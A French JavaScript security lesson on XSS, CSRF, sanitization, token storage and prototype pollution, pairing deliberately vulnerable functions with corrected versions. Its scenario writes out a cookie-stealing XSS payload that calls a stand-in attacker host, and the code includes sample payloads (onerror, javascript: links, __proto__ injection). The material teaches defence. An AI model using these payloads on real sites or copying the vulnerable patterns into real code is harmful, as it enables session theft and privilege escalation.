frontend / javascript
Sécurité : XSS, CSRF et sanitization
Explication
Ce que vous allez apprendre
- Définir une attaque XSS et identifier l'endroit du code où elle s'insère
- Choisir
textContentplutôt qu'innerHTMLpour neutraliser une entrée non fiable - Définir une attaque CSRF et la différencier du XSS
- Décrire les défenses standards contre le CSRF (
SameSite, jeton anti-CSRF) - Justifier pourquoi la validation côté client ne remplace jamais la validation côté serveur
Dans quel contexte ?
Un audit de sécurité externe signale une faille critique sur le formulaire de commentaires d'un site : un attaquant peut soumettre <script>fetch('https://site-pirate.com/vol?cookie='+document.cookie)</script> comme commentaire, et ce script s'exécute dans le navigateur de chaque visiteur qui consulte la page, volant potentiellement leur session. L'équipe corrige en repassant tous les affichages de contenu utilisateur d'innerHTML à textContent, et ajoute une politique de sécurité de contenu (CSP) en défense supplémentaire.
1. Fonctionner ne suffit pas, il faut résister
Écrire du JavaScript qui fonctionne ne suffit pas : il doit aussi résister à une utilisation malveillante. Cette leçon aborde deux familles de vulnérabilités parmi les plus courantes sur le web.
2. Le XSS : faire exécuter du code dans le navigateur d'un autre
Le XSS (Cross-Site Scripting) consiste à faire exécuter du code malveillant dans le navigateur d'une victime, en profitant d'un endroit où du contenu non fiable — un commentaire, un nom d'utilisateur — est inséré tel quel dans la page.
Prérequis
Cette leçon prolonge directement la distinction textContent/innerHTML vue à la leçon 8 sur le DOM. Si cette différence n'est pas claire, relisez-la avant de continuer : elle est au cœur de la défense contre le XSS.
3. La parade, déjà croisée à la leçon sur le DOM
textContent traite toujours son contenu comme du texte, jamais comme du code exécutable, alors qu'innerHTML l'interprète littéralement. Insérer une entrée utilisateur non filtrée via innerHTML revient à laisser n'importe qui écrire du code exécuté chez les autres.
4. Le CSRF : une requête envoyée à l'insu de la victime
Le CSRF est différent : il pousse le navigateur d'une victime déjà connectée à envoyer, à son insu, une requête légitime mais non désirée vers un autre site.
| Attaque | Ce qu'elle exploite | Défense principale |
|---|---|---|
| XSS | Contenu utilisateur inséré comme code exécutable | textContent, échappement, CSP |
| CSRF | Cookies de session envoyés automatiquement par le navigateur | Cookies SameSite, jeton anti-CSRF |
5. Comment on s'en protège
La défense combine des cookies configurés en SameSite et un jeton dédié, vérifié côté serveur à chaque action sensible.
Piège fréquent
Ajouter une validation JavaScript côté client (par exemple vérifier qu'un champ email est bien formé) améliore l'expérience utilisateur, mais n'empêche en rien un attaquant d'envoyer une requête directement au serveur avec curl ou Postman, en contournant totalement ce JavaScript. Toute validation de sécurité doit être répétée côté serveur.
6. Le principe qui traverse toute la leçon
La validation effectuée côté client n'améliore que l'expérience utilisateur : elle ne protège jamais réellement l'application, puisqu'un attaquant peut envoyer une requête directement au serveur en contournant votre JavaScript. La sécurité réelle se joue toujours côté serveur.
Commandes & code
Sécurité : XSS, CSRF et sanitization
Les vulnérabilités les plus courantes côté frontend, et comment s'en protéger.
// --- XSS (Cross-Site Scripting) : injection de code via du contenu non fiable ---
// MAUVAIS : innerHTML avec du contenu utilisateur non echappe
function afficherCommentaireDangereux(commentaire) {
document.querySelector("#commentaires").innerHTML += `<p>${commentaire}</p>`;
// si commentaire = "<img src=x onerror=alert(document.cookie)>", le script s'execute !
}
// BON : textContent echappe automatiquement le HTML
function afficherCommentaireSecurise(commentaire) {
const p = document.createElement("p");
p.textContent = commentaire; // le contenu est traite comme du TEXTE, jamais interprete
document.querySelector("#commentaires").appendChild(p);
}
// Si du HTML est vraiment necessaire (ex: editeur riche) : SANITIZER une librairie dediee
// import DOMPurify from "dompurify";
// document.querySelector("#contenu").innerHTML = DOMPurify.sanitize(contenuUtilisateur);
// --- XSS via des attributs dangereux ---
// MAUVAIS : un lien construit avec une valeur utilisateur non validee
function creerLienDangereux(url) {
const a = document.createElement("a");
a.setAttribute("href", url); // url = "javascript:alert(1)" execute du code au clic !
return a;
}
function creerLienSecurise(url) {
const urlValidee = new URL(url, window.location.origin);
if (!["http:", "https:"].includes(urlValidee.protocol)) {
throw new Error("Protocole non autorise"); // bloque javascript:, data:, etc.
}
const a = document.createElement("a");
a.href = urlValidee.href;
a.rel = "noopener noreferrer"; // empeche l'onglet ouvert d'acceder a window.opener
return a;
}
// --- Content Security Policy (CSP) : defense en profondeur cote serveur ---
// Header HTTP a configurer cote serveur (exemple) :
// Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com
// --- Stockage de tokens : localStorage vs cookies httpOnly ---
// MAUVAIS : localStorage est accessible en JS -- vulnerable si un XSS survient malgre tout
localStorage.setItem("token", "eyJhbGci..."); // n'importe quel script injecte peut le lire
// BON : cookie httpOnly (invisible depuis document.cookie / JS), defini cote serveur
// Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
// -- inaccessible via document.cookie, protege meme en cas de XSS reussi
// --- CSRF (Cross-Site Request Forgery) : requete malveillante depuis un AUTRE site ---
// Protection 1 : SameSite=Strict/Lax sur les cookies de session (bloque l'envoi cross-site)
// Protection 2 : token CSRF dedie, verifie cote serveur a chaque requete mutante
async function envoyerFormulaireProtege(donnees) {
const tokenCSRF = document.querySelector('meta[name="csrf-token"]').content;
return fetch("/api/action", {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-CSRF-Token": tokenCSRF, // le serveur verifie ce header avant d'agir
},
body: JSON.stringify(donnees),
});
}
// --- Validation cote client : UNIQUEMENT pour l'UX, JAMAIS pour la securite ---
function validerFormulaireClient(email) {
// Cette validation ameliore l'experience utilisateur, mais un attaquant peut
// envoyer une requete directement (curl, Postman) en contournant totalement le JS client.
// La validation REELLE et fiable doit TOUJOURS etre refaite cote serveur.
return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
}
// --- eval() et Function() : jamais sur du contenu non fiable ---
// eval(donneesUtilisateur); // DANGEREUX
// new Function(donneesUtilisateur)(); // tout aussi dangereux
// --- Prototype pollution : piege lors du merge d'objets non valides ---
function mergeDangereux(cible, source) {
for (const cle in source) {
cible[cle] = source[cle]; // cle = "__proto__" peut polluer Object.prototype !
}
return cible;
}
// JSON.parse('{"__proto__": {"estAdmin": true}}') suivi d'un merge naif peut affecter TOUS les objets
function mergeSecurise(cible, source) {
for (const cle of Object.keys(source)) {
if (cle === "__proto__" || cle === "constructor" || cle === "prototype") continue;
cible[cle] = source[cle];
}
return cible;
}Résumé
textContentéchappe automatiquement le HTML ;innerHTMLavec du contenu utilisateur non nettoyé est vulnérable au XSS.- Un token stocké en
localStoragereste lisible par tout script injecté : préférer un cookiehttpOnly+SameSite. - La validation côté client n'est qu'une aide UX : la validation de sécurité réelle se fait toujours côté serveur.
- Un merge d'objet naïf peut être exploité pour une "prototype pollution" via la clé
__proto__.
Exercices pratiques
Mission : l'audit de sécurité avant la mise en production
Objectif : Corriger une faille de prototype pollution dans une fonction de merge, et durcir le stockage d'un token de session.
Contexte
Un audit de sécurité externe de Technologik pointe deux failles avant la mise en production de la nouvelle API de paramètres utilisateur :
function mergeParametres(cible, source) {
for (const cle in source) {
cible[cle] = source[cle];
}
return cible;
}
// un attaquant envoie JSON.parse('{"__proto__": {"estAdmin": true}}') comme "source"Le token de session est aussi stocké avec localStorage.setItem("token", jwt), ce que l'auditeur qualifie de risque majeur en cas de faille XSS ailleurs sur le site.